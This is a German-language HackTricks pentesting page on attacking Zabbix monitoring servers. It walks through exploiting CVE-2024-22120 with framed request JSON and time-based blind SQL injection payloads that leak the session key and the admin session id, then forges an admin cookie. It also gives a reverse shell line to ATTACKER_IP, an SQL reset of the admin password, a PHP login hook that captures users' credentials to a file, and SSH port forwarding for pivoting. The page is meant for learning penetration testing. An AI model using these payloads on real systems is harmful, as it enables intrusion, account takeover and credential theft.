Zabbix-Sicherheit

Reading time: 7 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Übersicht

Zabbix ist eine Monitoring-Plattform, die eine Web-UI bereitstellt (typischerweise hinter Apache/Nginx) und eine Server-Komponente, die außerdem das Zabbix-Protokoll über TCP/10051 (server/trapper) sowie einen Agenten auf TCP/10050 spricht. Während Engagements kann man auf Folgendes stoßen:

  • Web UI: HTTP(S) virtual host wie zabbix.example.tld
  • Zabbix server port: 10051/tcp (JSON over a ZBXD header framing)
  • Zabbix agent port: 10050/tcp

Nützliches Cookie-Format: zbx_session ist Base64 eines kompakten JSON-Objekts, das mindestens sessionid, serverCheckResult, serverCheckTime und sign enthält. Der sign ist ein HMAC des JSON-Payloads.

Neuere Zabbix-Versionen berechnen das Cookie wie folgt:

  • data JSON: {"sessionid":"<32-hex>","serverCheckResult":true,"serverCheckTime":<unix_ts>}
  • sign: HMAC-SHA256(key=session_key, data=JSON string of data sorted by keys and compact separators)
  • Final cookie: Base64(JSON_with_sign)

Wenn Sie den globalen session_key und eine gültige Admin-sessionid wiederherstellen können, können Sie offline ein gültiges Admin-Cookie fälschen und sich in der UI authentifizieren.

CVE-2024-22120 — Zeitbasierte Blind-SQLi im Audit-Log des Zabbix-Servers

Betroffene Versionen (laut öffentlichen Angaben):

  • 6.0.0–6.0.27, 6.4.0–6.4.12, 7.0.0alpha1

Zusammenfassung der Schwachstelle:

  • Wenn eine Skriptausführung in das Audit-Log des Zabbix Servers geschrieben wird, wird das Feld clientip nicht gesäubert und in SQL konkateniert, was eine zeitbasierte Blind-SQLi über die Server-Komponente ermöglicht.
  • Dies ist ausnutzbar, indem eine manipulierte "command"-Anfrage an den Zabbix-Server-Port 10051 mit einer gültigen, niedrig privilegierten sessionid, einer hostid, auf die der Benutzer zugreifen kann, und einer erlaubten scriptid gesendet wird.

Voraussetzungen und Tipps zur Entdeckung:

  • sessionid: Vom guest/login in der Web UI, zbx_session (Base64) decodieren, um die sessionid zu erhalten.
  • hostid: Über Web-UI-Anfragen beobachten (z. B. Monitoring → Hosts) oder mit einem Proxy abfangen; ein häufiger Default ist 10084.
  • scriptid: Nur Skripte, die für die aktuelle Rolle erlaubt sind, werden ausgeführt; das lässt sich durch Inspektion des Script-Menüs/AJAX-Antworten verifizieren. Defaults wie 1 oder 2 sind oft erlaubt; 3 kann verweigert werden.

Ablauf der Ausnutzung

  1. Audit-Eintrag mit SQLi im clientip auslösen
  • Mit TCP/10051 verbinden und eine Zabbix-framed Nachricht mit request="command" senden, die sid, hostid, scriptid enthält und clientip auf einen SQL-Ausdruck setzt, der vom Server konkateniert und ausgewertet wird.

Minimale Nachricht (JSON body) Felder:

json
{
"request": "command",
"sid": "<low-priv-sessionid>",
"scriptid": "1",
"clientip": "' + (SQL_PAYLOAD) + '",
"hostid": "10084"
}

Das vollständige Wire-Format ist: "ZBXD\x01" + 8-byte little-endian length + UTF-8 JSON. Du kannst pwntools oder deinen eigenen socket-Code verwenden, um die Nachricht entsprechend zu verpacken.

  1. Time-bruteforce secrets via conditional sleep

Verwende bedingte Ausdrücke, um hex-encoded secrets ein Zeichen nach dem anderen durch Messung der Antwortzeit zu leak. Beispiele, die in der Praxis funktioniert haben:

  • Leak global session_key from config:
sql
(select CASE WHEN (ascii(substr((select session_key from config),{pos},1))={ord}) THEN sleep({T_TRUE}) ELSE sleep({T_FALSE}) END)
  • Leak Admin session_id (userid=1) aus sessions:
sql
(select CASE WHEN (ascii(substr((select sessionid from sessions where userid=1 limit 1),{pos},1))={ord}) THEN sleep({T_TRUE}) ELSE sleep({T_FALSE}) END)

Hinweise:

  • charset: 32 hex chars [0-9a-f]
  • Wähle T_TRUE >> T_FALSE (z. B. 10 vs 1) und messe die wall-clock-Zeit pro Versuch
  • Stelle sicher, dass dein scriptid tatsächlich für den Benutzer autorisiert ist; andernfalls wird keine Audit-Zeile erzeugt und das Timing funktioniert nicht
  1. Admin-Cookie fälschen

Sobald du Folgendes hast:

  • session_key: 32-hex aus config.session_key
  • admin_sessionid: 32-hex aus sessions.sessionid für userid=1

Berechne:

  • sign = HMAC_SHA256(key=session_key, data=json.dumps({sessionid, serverCheckResult:true, serverCheckTime:now}, sort by key, compact))
  • zbx_session = Base64(JSON_with_sign)

Setze das Cookie zbx_session auf diesen Wert und führe ein GET /zabbix.php?action=dashboard.view aus, um den Admin-Zugriff zu validieren.

Vorgefertigte Tools

  • Öffentliches PoC automatisiert: bruteforce von session_key und admin sessionid sowie Cookie-Fälschung; benötigt pwntools und requests.
  • Typische Parameter umfassen in der Regel: --ip (FQDN of UI), --port 10051, --sid (low-priv), --hostid und optional ein bekanntes --admin-sid, um das Brute-Force zu überspringen.

RCE via Script execution (post-Admin)

Mit Admin-Zugriff in der UI kannst du vordefinierte Scripts gegen überwachte Hosts ausführen. Wenn agents/hosts Script-Befehle lokal ausführen, führt dies zu Codeausführung auf diesen Systemen (häufig als Benutzer zabbix auf Linux-Hosts):

  • Schnelle Prüfung: run id ausführen, um den Benutzerkontext zu bestätigen
  • Reverse shell Beispiel:
bash
bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1'

TTY upgrade (Linux):

bash
script /dev/null -c bash
# background with Ctrl+Z, then on attacker terminal:
stty raw -echo; fg
reset

Wenn Sie DB-Zugriff haben, ist eine Alternative zum Fälschen eines Cookies, das Admin-Passwort auf den dokumentierten bcrypt für "zabbix" zurückzusetzen:

sql
UPDATE users SET passwd='$2a$10$ZXIvHAEP2ZM.dLXTm6uPHOMVlARXX7cqjbhM6Fn0cANzkCQBWpMrS' WHERE username='Admin';

Zugangsdaten erfassen via login hook (post-exploitation)

Wenn das Schreiben von Dateien auf dem Web-UI-Server möglich ist, können Sie vorübergehend einen Logging-Snippet in /usr/share/zabbix/index.php im Bereich des formularbasierten Login-Zweigs hinzufügen, um Zugangsdaten zu erfassen:

php
// login via form
if (hasRequest('enter') && CWebUser::login(getRequest('name', ZBX_GUEST_USER), getRequest('password', ''))) {
$user = $_POST['name'] ?? '??';
$password = $_POST['password'] ?? '??';
$f = fopen('/dev/shm/creds.txt','a+'); fputs($f, "$user:$password\n"); fclose($f);
CSessionHelper::set('sessionid', CWebUser::$data['sessionid']);
}

Benutzer authentifizieren sich normal; lese /dev/shm/creds.txt danach. Entferne den Hook, wenn du fertig bist.

Pivoting zu internen Diensten

Auch wenn die Shell des Service-Accounts /usr/sbin/nologin ist, ermöglicht das Hinzufügen eines SSH authorized_keys-Eintrags und die Verwendung von -N -L lokales Port-Forwarding zu nur auf Loopback zugänglichen Diensten (z. B. CI/CD auf Port 8111):

bash
ssh -i key user@host -N -L 8111:127.0.0.1:8111

Siehe weitere Tunneling-Muster: Prüfe Tunneling and Port Forwarding.

Betriebliche Hinweise

  • Stelle sicher, dass scriptid für die aktuelle Rolle erlaubt ist (guest hat möglicherweise nur eine eingeschränkte Auswahl)
  • Timing brute kann langsam sein; zwischenspeichere die wiederhergestellte admin sessionid und verwende sie erneut
  • Das JSON, das an 10051 gesendet wird, muss mit dem ZBXD\x01-Header und einer little-endian Länge gerahmt sein

Quellen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks